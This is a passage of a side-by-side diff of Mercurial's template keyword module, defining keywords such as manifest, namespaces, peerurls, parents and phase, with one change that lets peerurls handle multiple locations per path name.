498 """Integer. All ancestors not in the latest tag."""
499 tag = getlatesttags(context, mapping)[2][0]
499 tag = getlatesttags(context, mapping)[2][0]
500 mapping = context.overlaymap(mapping, {b'tag': tag})
500 mapping = context.overlaymap(mapping, {b'tag': tag})
501 return _showchangessincetag(context, mapping)
501 return _showchangessincetag(context, mapping)
502
502
503
503
504 def _showchangessincetag(context, mapping):
504 def _showchangessincetag(context, mapping):
505 repo = context.resource(mapping, b'repo')
505 repo = context.resource(mapping, b'repo')
506 ctx = context.resource(mapping, b'ctx')
506 ctx = context.resource(mapping, b'ctx')
507 offset = 0
507 offset = 0
508 revs = [ctx.rev()]
508 revs = [ctx.rev()]
509 tag = context.symbol(mapping, b'tag')
509 tag = context.symbol(mapping, b'tag')
510
510
511 # The only() revset doesn't currently support wdir()
511 # The only() revset doesn't currently support wdir()
512 if ctx.rev() is None:
512 if ctx.rev() is None:
513 offset = 1
513 offset = 1
514 revs = [p.rev() for p in ctx.parents()]
514 revs = [p.rev() for p in ctx.parents()]
515
515
516 return len(repo.revs(b'only(%ld, %s)', revs, tag)) + offset
516 return len(repo.revs(b'only(%ld, %s)', revs, tag)) + offset
517
517
518
518
519 # teach templater latesttags.changes is switched to (context, mapping) API
519 # teach templater latesttags.changes is switched to (context, mapping) API
520 _showchangessincetag._requires = {b'repo', b'ctx'}
520 _showchangessincetag._requires = {b'repo', b'ctx'}
521
521
522
522
523 @templatekeyword(b'manifest', requires={b'repo', b'ctx'})
523 @templatekeyword(b'manifest', requires={b'repo', b'ctx'})
524 def showmanifest(context, mapping):
524 def showmanifest(context, mapping):
525 repo = context.resource(mapping, b'repo')
525 repo = context.resource(mapping, b'repo')
526 ctx = context.resource(mapping, b'ctx')
526 ctx = context.resource(mapping, b'ctx')
527 mnode = ctx.manifestnode()
527 mnode = ctx.manifestnode()
528 if mnode is None:
528 if mnode is None:
529 mnode = repo.nodeconstants.wdirid
529 mnode = repo.nodeconstants.wdirid
530 mrev = wdirrev
530 mrev = wdirrev
531 mhex = repo.nodeconstants.wdirhex
531 mhex = repo.nodeconstants.wdirhex
532 else:
532 else:
533 mrev = repo.manifestlog.rev(mnode)
533 mrev = repo.manifestlog.rev(mnode)
534 mhex = hex(mnode)
534 mhex = hex(mnode)
535 mapping = context.overlaymap(mapping, {b'rev': mrev, b'node': mhex})
535 mapping = context.overlaymap(mapping, {b'rev': mrev, b'node': mhex})
536 f = context.process(b'manifest', mapping)
536 f = context.process(b'manifest', mapping)
537 return templateutil.hybriditem(
537 return templateutil.hybriditem(
538 f, None, f, lambda x: {b'rev': mrev, b'node': mhex}
538 f, None, f, lambda x: {b'rev': mrev, b'node': mhex}
539 )
539 )
540
540
541
541
542 @templatekeyword(b'obsfate', requires={b'ui', b'repo', b'ctx'})
542 @templatekeyword(b'obsfate', requires={b'ui', b'repo', b'ctx'})
543 def showobsfate(context, mapping):
543 def showobsfate(context, mapping):
544 # this function returns a list containing pre-formatted obsfate strings.
544 # this function returns a list containing pre-formatted obsfate strings.
545 #
545 #
546 # This function will be replaced by templates fragments when we will have
546 # This function will be replaced by templates fragments when we will have
547 # the verbosity templatekw available.
547 # the verbosity templatekw available.
548 succsandmarkers = showsuccsandmarkers(context, mapping)
548 succsandmarkers = showsuccsandmarkers(context, mapping)
549
549
550 ui = context.resource(mapping, b'ui')
550 ui = context.resource(mapping, b'ui')
551 repo = context.resource(mapping, b'repo')
551 repo = context.resource(mapping, b'repo')
552 values = []
552 values = []
553
553
554 for x in succsandmarkers.tovalue(context, mapping):
554 for x in succsandmarkers.tovalue(context, mapping):
555 v = obsutil.obsfateprinter(
555 v = obsutil.obsfateprinter(
556 ui, repo, x[b'successors'], x[b'markers'], scmutil.formatchangeid
556 ui, repo, x[b'successors'], x[b'markers'], scmutil.formatchangeid
557 )
557 )
558 values.append(v)
558 values.append(v)
559
559
560 return compatlist(context, mapping, b"fate", values)
560 return compatlist(context, mapping, b"fate", values)
561
561
562
562
563 def shownames(context, mapping, namespace):
563 def shownames(context, mapping, namespace):
564 """helper method to generate a template keyword for a namespace"""
564 """helper method to generate a template keyword for a namespace"""
565 repo = context.resource(mapping, b'repo')
565 repo = context.resource(mapping, b'repo')
566 ctx = context.resource(mapping, b'ctx')
566 ctx = context.resource(mapping, b'ctx')
567 ns = repo.names.get(namespace)
567 ns = repo.names.get(namespace)
568 if ns is None:
568 if ns is None:
569 # namespaces.addnamespace() registers new template keyword, but
569 # namespaces.addnamespace() registers new template keyword, but
570 # the registered namespace might not exist in the current repo.
570 # the registered namespace might not exist in the current repo.
571 return
571 return
572 names = ns.names(repo, ctx.node())
572 names = ns.names(repo, ctx.node())
573 return compatlist(
573 return compatlist(
574 context, mapping, ns.templatename, names, plural=namespace
574 context, mapping, ns.templatename, names, plural=namespace
575 )
575 )
576
576
577
577
578 @templatekeyword(b'namespaces', requires={b'repo', b'ctx'})
578 @templatekeyword(b'namespaces', requires={b'repo', b'ctx'})
579 def shownamespaces(context, mapping):
579 def shownamespaces(context, mapping):
580 """Dict of lists. Names attached to this changeset per
580 """Dict of lists. Names attached to this changeset per
581 namespace."""
581 namespace."""
582 repo = context.resource(mapping, b'repo')
582 repo = context.resource(mapping, b'repo')
583 ctx = context.resource(mapping, b'ctx')
583 ctx = context.resource(mapping, b'ctx')
584
584
585 namespaces = util.sortdict()
585 namespaces = util.sortdict()
586
586
587 def makensmapfn(ns):
587 def makensmapfn(ns):
588 # 'name' for iterating over namespaces, templatename for local reference
588 # 'name' for iterating over namespaces, templatename for local reference
589 return lambda v: {b'name': v, ns.templatename: v}
589 return lambda v: {b'name': v, ns.templatename: v}
590
590
591 for k, ns in pycompat.iteritems(repo.names):
591 for k, ns in pycompat.iteritems(repo.names):
592 names = ns.names(repo, ctx.node())
592 names = ns.names(repo, ctx.node())
593 f = _showcompatlist(context, mapping, b'name', names)
593 f = _showcompatlist(context, mapping, b'name', names)
594 namespaces[k] = _hybrid(f, names, makensmapfn(ns), pycompat.identity)
594 namespaces[k] = _hybrid(f, names, makensmapfn(ns), pycompat.identity)
595
595
596 f = _showcompatlist(context, mapping, b'namespace', list(namespaces))
596 f = _showcompatlist(context, mapping, b'namespace', list(namespaces))
597
597
598 def makemap(ns):
598 def makemap(ns):
599 return {
599 return {
600 b'namespace': ns,
600 b'namespace': ns,
601 b'names': namespaces[ns],
601 b'names': namespaces[ns],
602 b'builtin': repo.names[ns].builtin,
602 b'builtin': repo.names[ns].builtin,
603 b'colorname': repo.names[ns].colorname,
603 b'colorname': repo.names[ns].colorname,
604 }
604 }
605
605
606 return _hybrid(f, namespaces, makemap, pycompat.identity)
606 return _hybrid(f, namespaces, makemap, pycompat.identity)
607
607
608
608
609 @templatekeyword(b'negrev', requires={b'repo', b'ctx'})
609 @templatekeyword(b'negrev', requires={b'repo', b'ctx'})
610 def shownegrev(context, mapping):
610 def shownegrev(context, mapping):
611 """Integer. The repository-local changeset negative revision number,
611 """Integer. The repository-local changeset negative revision number,
612 which counts in the opposite direction."""
612 which counts in the opposite direction."""
613 ctx = context.resource(mapping, b'ctx')
613 ctx = context.resource(mapping, b'ctx')
614 rev = ctx.rev()
614 rev = ctx.rev()
615 if rev is None or rev < 0: # wdir() or nullrev?
615 if rev is None or rev < 0: # wdir() or nullrev?
616 return None
616 return None
617 repo = context.resource(mapping, b'repo')
617 repo = context.resource(mapping, b'repo')
618 return rev - len(repo)
618 return rev - len(repo)
619
619
620
620
621 @templatekeyword(b'node', requires={b'ctx'})
621 @templatekeyword(b'node', requires={b'ctx'})
622 def shownode(context, mapping):
622 def shownode(context, mapping):
623 """String. The changeset identification hash, as a 40 hexadecimal
623 """String. The changeset identification hash, as a 40 hexadecimal
624 digit string.
624 digit string.
625 """
625 """
626 ctx = context.resource(mapping, b'ctx')
626 ctx = context.resource(mapping, b'ctx')
627 return ctx.hex()
627 return ctx.hex()
628
628
629
629
630 @templatekeyword(b'obsolete', requires={b'ctx'})
630 @templatekeyword(b'obsolete', requires={b'ctx'})
631 def showobsolete(context, mapping):
631 def showobsolete(context, mapping):
632 """String. Whether the changeset is obsolete. (EXPERIMENTAL)"""
632 """String. Whether the changeset is obsolete. (EXPERIMENTAL)"""
633 ctx = context.resource(mapping, b'ctx')
633 ctx = context.resource(mapping, b'ctx')
634 if ctx.obsolete():
634 if ctx.obsolete():
635 return b'obsolete'
635 return b'obsolete'
636 return b''
636 return b''
637
637
638
638
639 @templatekeyword(b'onelinesummary', requires={b'ui', b'ctx'})
639 @templatekeyword(b'onelinesummary', requires={b'ui', b'ctx'})
640 def showonelinesummary(context, mapping):
640 def showonelinesummary(context, mapping):
641 """String. A one-line summary for the ctx (not including trailing newline).
641 """String. A one-line summary for the ctx (not including trailing newline).
642 The default template be overridden in command-templates.oneline-summary."""
642 The default template be overridden in command-templates.oneline-summary."""
643 # Avoid cycle:
643 # Avoid cycle:
644 # mercurial.cmdutil -> mercurial.templatekw -> mercurial.cmdutil
644 # mercurial.cmdutil -> mercurial.templatekw -> mercurial.cmdutil
645 from . import cmdutil
645 from . import cmdutil
646
646
647 ui = context.resource(mapping, b'ui')
647 ui = context.resource(mapping, b'ui')
648 ctx = context.resource(mapping, b'ctx')
648 ctx = context.resource(mapping, b'ctx')
649 return cmdutil.format_changeset_summary(ui, ctx)
649 return cmdutil.format_changeset_summary(ui, ctx)
650
650
651
651
652 @templatekeyword(b'path', requires={b'fctx'})
652 @templatekeyword(b'path', requires={b'fctx'})
653 def showpath(context, mapping):
653 def showpath(context, mapping):
654 """String. Repository-absolute path of the current file. (EXPERIMENTAL)"""
654 """String. Repository-absolute path of the current file. (EXPERIMENTAL)"""
655 fctx = context.resource(mapping, b'fctx')
655 fctx = context.resource(mapping, b'fctx')
656 return fctx.path()
656 return fctx.path()
657
657
658
658
659 @templatekeyword(b'peerurls', requires={b'repo'})
659 @templatekeyword(b'peerurls', requires={b'repo'})
660 def showpeerurls(context, mapping):
660 def showpeerurls(context, mapping):
661 """A dictionary of repository locations defined in the [paths] section
661 """A dictionary of repository locations defined in the [paths] section
662 of your configuration file."""
662 of your configuration file."""
663 repo = context.resource(mapping, b'repo')
663 repo = context.resource(mapping, b'repo')
664 # see commands.paths() for naming of dictionary keys
664 # see commands.paths() for naming of dictionary keys
665 paths = repo.ui.paths
665 paths = repo.ui.paths
666 all_paths = urlutil.list_paths(repo.ui)
666 all_paths = urlutil.list_paths(repo.ui)
667 urls = util.sortdict((k, p.rawloc) for k, p in all_paths)
667 urls = util.sortdict((k, p.rawloc) for k, p in all_paths)
668
668
669 def makemap(k):
669 def makemap(k):
670 p = paths[k]
670 ps = paths[k]
671 d = {b'name': k, b'url': p.rawloc}
671 d = {b'name': k}
672 sub_opts = util.sortdict(sorted(pycompat.iteritems(p.suboptions)))
672 if len(ps) == 1:
673 d.update(sub_opts)
673 d[b'url'] = ps[0].rawloc
674 sub_opts = pycompat.iteritems(ps[0].suboptions)
675 sub_opts = util.sortdict(sorted(sub_opts))
676 d.update(sub_opts)
674 path_dict = util.sortdict()
677 path_dict = util.sortdict()
675 path_dict[b'url'] = p.rawloc
678 for p in ps:
676 path_dict.update(sub_opts)
679 sub_opts = util.sortdict(sorted(pycompat.iteritems(p.suboptions)))
677 d[b'urls'] = [path_dict]
680 path_dict[b'url'] = p.rawloc
681 path_dict.update(sub_opts)
682 d[b'urls'] = [path_dict]
678 return d
683 return d
679
684
680 def format_one(k):
685 def format_one(k):
681 return b'%s=%s' % (k, urls[k])
686 return b'%s=%s' % (k, urls[k])
682
687
683 return _hybrid(None, urls, makemap, format_one)
688 return _hybrid(None, urls, makemap, format_one)
684
689
685
690
686 @templatekeyword(b"predecessors", requires={b'repo', b'ctx'})
691 @templatekeyword(b"predecessors", requires={b'repo', b'ctx'})
687 def showpredecessors(context, mapping):
692 def showpredecessors(context, mapping):
688 """Returns the list of the closest visible predecessors. (EXPERIMENTAL)"""
693 """Returns the list of the closest visible predecessors. (EXPERIMENTAL)"""
689 repo = context.resource(mapping, b'repo')
694 repo = context.resource(mapping, b'repo')
690 ctx = context.resource(mapping, b'ctx')
695 ctx = context.resource(mapping, b'ctx')
691 predecessors = sorted(obsutil.closestpredecessors(repo, ctx.node()))
696 predecessors = sorted(obsutil.closestpredecessors(repo, ctx.node()))
692 predecessors = pycompat.maplist(hex, predecessors)
697 predecessors = pycompat.maplist(hex, predecessors)
693
698
694 return _hybrid(
699 return _hybrid(
695 None,
700 None,
696 predecessors,
701 predecessors,
697 lambda x: {b'ctx': repo[x]},
702 lambda x: {b'ctx': repo[x]},
698 lambda x: scmutil.formatchangeid(repo[x]),
703 lambda x: scmutil.formatchangeid(repo[x]),
699 )
704 )
700
705
701
706
702 @templatekeyword(b'reporoot', requires={b'repo'})
707 @templatekeyword(b'reporoot', requires={b'repo'})
703 def showreporoot(context, mapping):
708 def showreporoot(context, mapping):
704 """String. The root directory of the current repository."""
709 """String. The root directory of the current repository."""
705 repo = context.resource(mapping, b'repo')
710 repo = context.resource(mapping, b'repo')
706 return repo.root
711 return repo.root
707
712
708
713
709 @templatekeyword(b'size', requires={b'fctx'})
714 @templatekeyword(b'size', requires={b'fctx'})
710 def showsize(context, mapping):
715 def showsize(context, mapping):
711 """Integer. Size of the current file in bytes. (EXPERIMENTAL)"""
716 """Integer. Size of the current file in bytes. (EXPERIMENTAL)"""
712 fctx = context.resource(mapping, b'fctx')
717 fctx = context.resource(mapping, b'fctx')
713 return fctx.size()
718 return fctx.size()
714
719
715
720
716 # requires 'fctx' to denote {status} depends on (ctx, path) pair
721 # requires 'fctx' to denote {status} depends on (ctx, path) pair
717 @templatekeyword(b'status', requires={b'ctx', b'fctx', b'revcache'})
722 @templatekeyword(b'status', requires={b'ctx', b'fctx', b'revcache'})
718 def showstatus(context, mapping):
723 def showstatus(context, mapping):
719 """String. Status code of the current file. (EXPERIMENTAL)"""
724 """String. Status code of the current file. (EXPERIMENTAL)"""
720 path = templateutil.runsymbol(context, mapping, b'path')
725 path = templateutil.runsymbol(context, mapping, b'path')
721 path = templateutil.stringify(context, mapping, path)
726 path = templateutil.stringify(context, mapping, path)
722 if not path:
727 if not path:
723 return
728 return
724 statmap = _getfilestatusmap(context, mapping)
729 statmap = _getfilestatusmap(context, mapping)
725 if path not in statmap:
730 if path not in statmap:
726 statmap = _getfilestatusmap(context, mapping, listall=True)
731 statmap = _getfilestatusmap(context, mapping, listall=True)
727 return statmap.get(path)
732 return statmap.get(path)
728
733
729
734
730 @templatekeyword(b"successorssets", requires={b'repo', b'ctx'})
735 @templatekeyword(b"successorssets", requires={b'repo', b'ctx'})
731 def showsuccessorssets(context, mapping):
736 def showsuccessorssets(context, mapping):
732 """Returns a string of sets of successors for a changectx. Format used
737 """Returns a string of sets of successors for a changectx. Format used
733 is: [ctx1, ctx2], [ctx3] if ctx has been split into ctx1 and ctx2
738 is: [ctx1, ctx2], [ctx3] if ctx has been split into ctx1 and ctx2
734 while also diverged into ctx3. (EXPERIMENTAL)"""
739 while also diverged into ctx3. (EXPERIMENTAL)"""
735 repo = context.resource(mapping, b'repo')
740 repo = context.resource(mapping, b'repo')
736 ctx = context.resource(mapping, b'ctx')
741 ctx = context.resource(mapping, b'ctx')
737 data = []
742 data = []
738
743
739 if ctx.obsolete():
744 if ctx.obsolete():
740 ssets = obsutil.successorssets(repo, ctx.node(), closest=True)
745 ssets = obsutil.successorssets(repo, ctx.node(), closest=True)
741 ssets = [[hex(n) for n in ss] for ss in ssets]
746 ssets = [[hex(n) for n in ss] for ss in ssets]
742
747
743 for ss in ssets:
748 for ss in ssets:
744 h = _hybrid(
749 h = _hybrid(
745 None,
750 None,
746 ss,
751 ss,
747 lambda x: {b'ctx': repo[x]},
752 lambda x: {b'ctx': repo[x]},
748 lambda x: scmutil.formatchangeid(repo[x]),
753 lambda x: scmutil.formatchangeid(repo[x]),
749 )
754 )
750 data.append(h)
755 data.append(h)
751
756
752 # Format the successorssets
757 # Format the successorssets
753 def render(d):
758 def render(d):
754 return templateutil.stringify(context, mapping, d)
759 return templateutil.stringify(context, mapping, d)
755
760
756 def gen(data):
761 def gen(data):
757 yield b"; ".join(render(d) for d in data)
762 yield b"; ".join(render(d) for d in data)
758
763
759 return _hybrid(
764 return _hybrid(
760 gen(data), data, lambda x: {b'successorset': x}, pycompat.identity
765 gen(data), data, lambda x: {b'successorset': x}, pycompat.identity
761 )
766 )
762
767
763
768
764 @templatekeyword(b"succsandmarkers", requires={b'repo', b'ctx'})
769 @templatekeyword(b"succsandmarkers", requires={b'repo', b'ctx'})
765 def showsuccsandmarkers(context, mapping):
770 def showsuccsandmarkers(context, mapping):
766 """Returns a list of dict for each final successor of ctx. The dict
771 """Returns a list of dict for each final successor of ctx. The dict
767 contains successors node id in "successors" keys and the list of
772 contains successors node id in "successors" keys and the list of
768 obs-markers from ctx to the set of successors in "markers".
773 obs-markers from ctx to the set of successors in "markers".
769 (EXPERIMENTAL)
774 (EXPERIMENTAL)
770 """
775 """
771 repo = context.resource(mapping, b'repo')
776 repo = context.resource(mapping, b'repo')
772 ctx = context.resource(mapping, b'ctx')
777 ctx = context.resource(mapping, b'ctx')
773
778
774 values = obsutil.successorsandmarkers(repo, ctx)
779 values = obsutil.successorsandmarkers(repo, ctx)
775
780
776 if values is None:
781 if values is None:
777 values = []
782 values = []
778
783
779 # Format successors and markers to avoid exposing binary to templates
784 # Format successors and markers to avoid exposing binary to templates
780 data = []
785 data = []
781 for i in values:
786 for i in values:
782 # Format successors
787 # Format successors
783 successors = i[b'successors']
788 successors = i[b'successors']
784
789
785 successors = [hex(n) for n in successors]
790 successors = [hex(n) for n in successors]
786 successors = _hybrid(
791 successors = _hybrid(
787 None,
792 None,
788 successors,
793 successors,
789 lambda x: {b'ctx': repo[x]},
794 lambda x: {b'ctx': repo[x]},
790 lambda x: scmutil.formatchangeid(repo[x]),
795 lambda x: scmutil.formatchangeid(repo[x]),
791 )
796 )
792
797
793 # Format markers
798 # Format markers
794 finalmarkers = []
799 finalmarkers = []
795 for m in i[b'markers']:
800 for m in i[b'markers']:
796 hexprec = hex(m[0])
801 hexprec = hex(m[0])
797 hexsucs = tuple(hex(n) for n in m[1])
802 hexsucs = tuple(hex(n) for n in m[1])
798 hexparents = None
803 hexparents = None
799 if m[5] is not None:
804 if m[5] is not None:
800 hexparents = tuple(hex(n) for n in m[5])
805 hexparents = tuple(hex(n) for n in m[5])
801 newmarker = (hexprec, hexsucs) + m[2:5] + (hexparents,) + m[6:]
806 newmarker = (hexprec, hexsucs) + m[2:5] + (hexparents,) + m[6:]
802 finalmarkers.append(newmarker)
807 finalmarkers.append(newmarker)
803
808
804 data.append({b'successors': successors, b'markers': finalmarkers})
809 data.append({b'successors': successors, b'markers': finalmarkers})
805
810
806 return templateutil.mappinglist(data)
811 return templateutil.mappinglist(data)
807
812
808
813
809 @templatekeyword(b'p1', requires={b'ctx'})
814 @templatekeyword(b'p1', requires={b'ctx'})
810 def showp1(context, mapping):
815 def showp1(context, mapping):
811 """Changeset. The changeset's first parent. ``{p1.rev}`` for the revision
816 """Changeset. The changeset's first parent. ``{p1.rev}`` for the revision
812 number, and ``{p1.node}`` for the identification hash."""
817 number, and ``{p1.node}`` for the identification hash."""
813 ctx = context.resource(mapping, b'ctx')
818 ctx = context.resource(mapping, b'ctx')
814 return templateutil.mappingdict({b'ctx': ctx.p1()}, tmpl=_changeidtmpl)
819 return templateutil.mappingdict({b'ctx': ctx.p1()}, tmpl=_changeidtmpl)
815
820
816
821
817 @templatekeyword(b'p2', requires={b'ctx'})
822 @templatekeyword(b'p2', requires={b'ctx'})
818 def showp2(context, mapping):
823 def showp2(context, mapping):
819 """Changeset. The changeset's second parent. ``{p2.rev}`` for the revision
824 """Changeset. The changeset's second parent. ``{p2.rev}`` for the revision
820 number, and ``{p2.node}`` for the identification hash."""
825 number, and ``{p2.node}`` for the identification hash."""
821 ctx = context.resource(mapping, b'ctx')
826 ctx = context.resource(mapping, b'ctx')
822 return templateutil.mappingdict({b'ctx': ctx.p2()}, tmpl=_changeidtmpl)
827 return templateutil.mappingdict({b'ctx': ctx.p2()}, tmpl=_changeidtmpl)
823
828
824
829
825 @templatekeyword(b'p1rev', requires={b'ctx'})
830 @templatekeyword(b'p1rev', requires={b'ctx'})
826 def showp1rev(context, mapping):
831 def showp1rev(context, mapping):
827 """Integer. The repository-local revision number of the changeset's
832 """Integer. The repository-local revision number of the changeset's
828 first parent, or -1 if the changeset has no parents. (DEPRECATED)"""
833 first parent, or -1 if the changeset has no parents. (DEPRECATED)"""
829 ctx = context.resource(mapping, b'ctx')
834 ctx = context.resource(mapping, b'ctx')
830 return ctx.p1().rev()
835 return ctx.p1().rev()
831
836
832
837
833 @templatekeyword(b'p2rev', requires={b'ctx'})
838 @templatekeyword(b'p2rev', requires={b'ctx'})
834 def showp2rev(context, mapping):
839 def showp2rev(context, mapping):
835 """Integer. The repository-local revision number of the changeset's
840 """Integer. The repository-local revision number of the changeset's
836 second parent, or -1 if the changeset has no second parent. (DEPRECATED)"""
841 second parent, or -1 if the changeset has no second parent. (DEPRECATED)"""
837 ctx = context.resource(mapping, b'ctx')
842 ctx = context.resource(mapping, b'ctx')
838 return ctx.p2().rev()
843 return ctx.p2().rev()
839
844
840
845
841 @templatekeyword(b'p1node', requires={b'ctx'})
846 @templatekeyword(b'p1node', requires={b'ctx'})
842 def showp1node(context, mapping):
847 def showp1node(context, mapping):
843 """String. The identification hash of the changeset's first parent,
848 """String. The identification hash of the changeset's first parent,
844 as a 40 digit hexadecimal string. If the changeset has no parents, all
849 as a 40 digit hexadecimal string. If the changeset has no parents, all
845 digits are 0. (DEPRECATED)"""
850 digits are 0. (DEPRECATED)"""
846 ctx = context.resource(mapping, b'ctx')
851 ctx = context.resource(mapping, b'ctx')
847 return ctx.p1().hex()
852 return ctx.p1().hex()
848
853
849
854
850 @templatekeyword(b'p2node', requires={b'ctx'})
855 @templatekeyword(b'p2node', requires={b'ctx'})
851 def showp2node(context, mapping):
856 def showp2node(context, mapping):
852 """String. The identification hash of the changeset's second
857 """String. The identification hash of the changeset's second
853 parent, as a 40 digit hexadecimal string. If the changeset has no second
858 parent, as a 40 digit hexadecimal string. If the changeset has no second
854 parent, all digits are 0. (DEPRECATED)"""
859 parent, all digits are 0. (DEPRECATED)"""
855 ctx = context.resource(mapping, b'ctx')
860 ctx = context.resource(mapping, b'ctx')
856 return ctx.p2().hex()
861 return ctx.p2().hex()
857
862
858
863
859 @templatekeyword(b'parents', requires={b'repo', b'ctx'})
864 @templatekeyword(b'parents', requires={b'repo', b'ctx'})
860 def showparents(context, mapping):
865 def showparents(context, mapping):
861 """List of strings. The parents of the changeset in "rev:node"
866 """List of strings. The parents of the changeset in "rev:node"
862 format. If the changeset has only one "natural" parent (the predecessor
867 format. If the changeset has only one "natural" parent (the predecessor
863 revision) nothing is shown."""
868 revision) nothing is shown."""
864 repo = context.resource(mapping, b'repo')
869 repo = context.resource(mapping, b'repo')
865 ctx = context.resource(mapping, b'ctx')
870 ctx = context.resource(mapping, b'ctx')
866 pctxs = scmutil.meaningfulparents(repo, ctx)
871 pctxs = scmutil.meaningfulparents(repo, ctx)
867 prevs = [p.rev() for p in pctxs]
872 prevs = [p.rev() for p in pctxs]
868 parents = [
873 parents = [
869 [(b'rev', p.rev()), (b'node', p.hex()), (b'phase', p.phasestr())]
874 [(b'rev', p.rev()), (b'node', p.hex()), (b'phase', p.phasestr())]
870 for p in pctxs
875 for p in pctxs
871 ]
876 ]
872 f = _showcompatlist(context, mapping, b'parent', parents)
877 f = _showcompatlist(context, mapping, b'parent', parents)
873 return _hybrid(
878 return _hybrid(
874 f,
879 f,
875 prevs,
880 prevs,
876 lambda x: {b'ctx': repo[x]},
881 lambda x: {b'ctx': repo[x]},
877 lambda x: scmutil.formatchangeid(repo[x]),
882 lambda x: scmutil.formatchangeid(repo[x]),
878 keytype=int,
883 keytype=int,
879 )
884 )
880
885
881
886
882 @templatekeyword(b'phase', requires={b'ctx'})
887 @templatekeyword(b'phase', requires={b'ctx'})
883 def showphase(context, mapping):
888 def showphase(context, mapping):
884 """String. The changeset phase name."""
889 """String. The changeset phase name."""
885 ctx = context.resource(mapping, b'ctx')
890 ctx = context.resource(mapping, b'ctx')
886 return ctx.phasestr()
891 return ctx.phasestr()
887
892
888
893
889 @templatekeyword(b'phaseidx', requires={b'ctx'})
894 @templatekeyword(b'phaseidx', requires={b'ctx'})
890 def showphaseidx(context, mapping):
895 def showphaseidx(context, mapping):
891 """Integer. The changeset phase index. (ADVANCED)"""
896 """Integer. The changeset phase index. (ADVANCED)"""
892 ctx = context.resource(mapping, b'ctx')
897 ctx = context.resource(mapping, b'ctx')
893 return ctx.phase()
898 return ctx.phase()
894
899
895
900
896 @templatekeyword(b'rev', requires={b'ctx'})
901 @templatekeyword(b'rev', requires={b'ctx'})
897 def showrev(context, mapping):
902 def showrev(context, mapping):
898 """Integer. The repository-local changeset revision number."""
903 """Integer. The repository-local changeset revision number."""
899 ctx = context.resource(mapping, b'ctx')
904 ctx = context.resource(mapping, b'ctx')
900 return scmutil.intrev(ctx)
905 return scmutil.intrev(ctx)
901
906
902
907
903 @templatekeyword(b'subrepos', requires={b'ctx'})
908 @templatekeyword(b'subrepos', requires={b'ctx'})
904 def showsubrepos(context, mapping):
909 def showsubrepos(context, mapping):
905 """List of strings. Updated subrepositories in the changeset."""
910 """List of strings. Updated subrepositories in the changeset."""
906 ctx = context.resource(mapping, b'ctx')
911 ctx = context.resource(mapping, b'ctx')
907 substate = ctx.substate
912 substate = ctx.substate
908 if not substate:
913 if not substate:
909 return compatlist(context, mapping, b'subrepo', [])
914 return compatlist(context, mapping, b'subrepo', [])
910 psubstate = ctx.p1().substate or {}
915 psubstate = ctx.p1().substate or {}
911 subrepos = []
916 subrepos = []
912 for sub in substate:
917 for sub in substate:
913 if sub not in psubstate or substate[sub] != psubstate[sub]:
918 if sub not in psubstate or substate[sub] != psubstate[sub]:
914 subrepos.append(sub) # modified or newly added in ctx
919 subrepos.append(sub) # modified or newly added in ctx
915 for sub in psubstate:
920 for sub in psubstate:
916 if sub not in substate:
921 if sub not in substate:
917 subrepos.append(sub) # removed in ctx
922 subrepos.append(sub) # removed in ctx
918 return compatlist(context, mapping, b'subrepo', sorted(subrepos))
923 return compatlist(context, mapping, b'subrepo', sorted(subrepos))
919
924
920
925
921 # don't remove "showtags" definition, even though namespaces will put
926 # don't remove "showtags" definition, even though namespaces will put
922 # a helper function for "tags" keyword into "keywords" map automatically,
927 # a helper function for "tags" keyword into "keywords" map automatically,
923 # because online help text is built without namespaces initialization
928 # because online help text is built without namespaces initialization
924 @templatekeyword(b'tags', requires={b'repo', b'ctx'})
929 @templatekeyword(b'tags', requires={b'repo', b'ctx'})
925 def showtags(context, mapping):
930 def showtags(context, mapping):
926 """List of strings. Any tags associated with the changeset."""
931 """List of strings. Any tags associated with the changeset."""
927 return shownames(context, mapping, b'tags')
932 return shownames(context, mapping, b'tags')
928
933
929
934
930 @templatekeyword(b'termwidth', requires={b'ui'})
935 @templatekeyword(b'termwidth', requires={b'ui'})
931 def showtermwidth(context, mapping):
936 def showtermwidth(context, mapping):
932 """Integer. The width of the current terminal."""
937 """Integer. The width of the current terminal."""
933 ui = context.resource(mapping, b'ui')
938 ui = context.resource(mapping, b'ui')
934 return ui.termwidth()
939 return ui.termwidth()
935
940
936
941
937 @templatekeyword(b'user', requires={b'ctx'})
942 @templatekeyword(b'user', requires={b'ctx'})
938 def showuser(context, mapping):
943 def showuser(context, mapping):
939 """String. The unmodified author of the changeset."""
944 """String. The unmodified author of the changeset."""
940 ctx = context.resource(mapping, b'ctx')
945 ctx = context.resource(mapping, b'ctx')
941 return ctx.user()
946 return ctx.user()
942
947
943
948
944 @templatekeyword(b'instabilities', requires={b'ctx'})
949 @templatekeyword(b'instabilities', requires={b'ctx'})
945 def showinstabilities(context, mapping):
950 def showinstabilities(context, mapping):
946 """List of strings. Evolution instabilities affecting the changeset.
951 """List of strings. Evolution instabilities affecting the changeset.
947 (EXPERIMENTAL)
952 (EXPERIMENTAL)
948 """
953 """
949 ctx = context.resource(mapping, b'ctx')
954 ctx = context.resource(mapping, b'ctx')
950 return compatlist(
955 return compatlist(
951 context,
956 context,
952 mapping,
957 mapping,
953 b'instability',
958 b'instability',
954 ctx.instabilities(),
959 ctx.instabilities(),
955 plural=b'instabilities',
960 plural=b'instabilities',
956 )
961 )
957
962
958
963
959 @templatekeyword(b'verbosity', requires={b'ui'})
964 @templatekeyword(b'verbosity', requires={b'ui'})
960 def showverbosity(context, mapping):
965 def showverbosity(context, mapping):
961 """String. The current output verbosity in 'debug', 'quiet', 'verbose',
966 """String. The current output verbosity in 'debug', 'quiet', 'verbose',
962 or ''."""
967 or ''."""
963 ui = context.resource(mapping, b'ui')
968 ui = context.resource(mapping, b'ui')
964 # see logcmdutil.changesettemplater for priority of these flags
969 # see logcmdutil.changesettemplater for priority of these flags
965 if ui.debugflag:
970 if ui.debugflag:
966 return b'debug'
971 return b'debug'
967 elif ui.quiet:
972 elif ui.quiet:
968 return b'quiet'
973 return b'quiet'
969 elif ui.verbose:
974 elif ui.verbose:
970 return b'verbose'
975 return b'verbose'
971 return b''
976 return b''
972
977
973
978
974 @templatekeyword(b'whyunstable', requires={b'repo', b'ctx'})
979 @templatekeyword(b'whyunstable', requires={b'repo', b'ctx'})
975 def showwhyunstable(context, mapping):
980 def showwhyunstable(context, mapping):
976 """List of dicts explaining all instabilities of a changeset.
981 """List of dicts explaining all instabilities of a changeset.
977 (EXPERIMENTAL)
982 (EXPERIMENTAL)
978 """
983 """
979 repo = context.resource(mapping, b'repo')
984 repo = context.resource(mapping, b'repo')
